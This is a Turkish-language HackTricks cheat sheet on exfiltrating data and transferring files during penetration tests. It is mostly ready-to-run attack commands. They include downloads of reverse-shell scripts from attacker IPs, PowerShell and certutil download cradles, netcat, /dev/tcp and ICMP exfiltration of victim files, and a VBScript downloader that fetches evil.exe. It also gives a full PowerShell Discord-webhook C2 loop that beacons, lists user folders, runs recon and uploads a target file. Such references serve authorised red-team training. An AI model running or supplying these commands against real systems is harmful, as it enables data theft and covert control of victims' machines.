Exfiltration

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HackTricks'i Destekleyin

Bilgiyi exfiltrate etmek için yaygın olarak whitelisted olan alan adları

Suistimal edilebilecek yaygın olarak whitelisted yapılmış alan adlarını bulmak için https://lots-project.com/ adresine bakın

Copy&Paste Base64

Linux

bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Dosya yükleme

bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Sunucu

python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) için C2 & Data Exfiltration

Webhooks, JSON kabul eden ve isteğe bağlı dosya parçalarını destekleyen yalnız yazma (write-only) HTTPS uç noktalarıdır. Genellikle güvenilen SaaS domainlerine izin verilir ve OAuth/API anahtarları gerektirmezler; bu da onları düşük sürtünmeli beaconing ve exfiltration için kullanışlı kılar.

Key ideas:

  • Uç nokta: Discord uses https://discord.com/api/webhooks//
  • POST multipart/form-data; payload_json adlı bir parça içinde {"content":"..."} bulunur ve opsiyonel olarak file adlı dosya parçası(ları) eklenir.
  • Operatör döngü deseni: periyodik beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK teslimatı onaylar.

PowerShell PoC (Discord):

powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Notlar:

  • Benzer desenler, incoming webhooks kullanan diğer işbirliği platformları (Slack/Teams) için de geçerlidir; URL ve JSON şemasını uygun şekilde ayarlayın.
  • Discord Desktop cache artifacts ve webhook/API kurtarma ile ilgili DFIR için bakınız:

Discord Cache Forensics

FTP

FTP sunucusu (python)

bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP sunucusu (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP sunucusu (pure-ftp)

bash
apt-get update && apt-get install pure-ftp
bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows istemcisi

bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali sunucu olarak

bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Veya bir smb paylaşımı samba kullanarak oluşturun:

bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Saldırganın SSHd'nin çalışır durumda olması gerekir.

bash
scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Eğer hedefte SSH varsa, saldırgan hedeften kendi makinesine bir dizini mount edebilir.

bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

victim'tan dosya indirme

bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Dosyayı hedefe yükle

bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

teşekkürler @BinaryShadow_

ICMP

bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için python ile bir SMTP oluşturabilirsiniz:

bash
sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Varsayılan olarak XP ve 2003'te (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir)

Kali'de, start TFTP server:

bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

TFTP sunucusu (python):

bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

victim üzerinde Kali sunucusuna bağlan:

bash
tftp -i <KALI-IP> get nc.exe

PHP

Bir dosyayı PHP oneliner ile indirin:

bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

bash
Attacker> python -m SimpleHTTPServer 80

Kurban

bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Program debug.exe yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda hex'ten yeniden oluşturma yeteneğine sahiptir. Bu, bir ikilinin hex'ini sağlayarak debug.exe'nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, debug.exe'nin 64 kb boyutuna kadar dosyaları oluşturma sınırlaması olduğunu belirtmek önemlidir.

bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Sonra metni windows-shell'e yapıştırın; nc.exe adında bir dosya oluşturulacaktır.

DNS

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin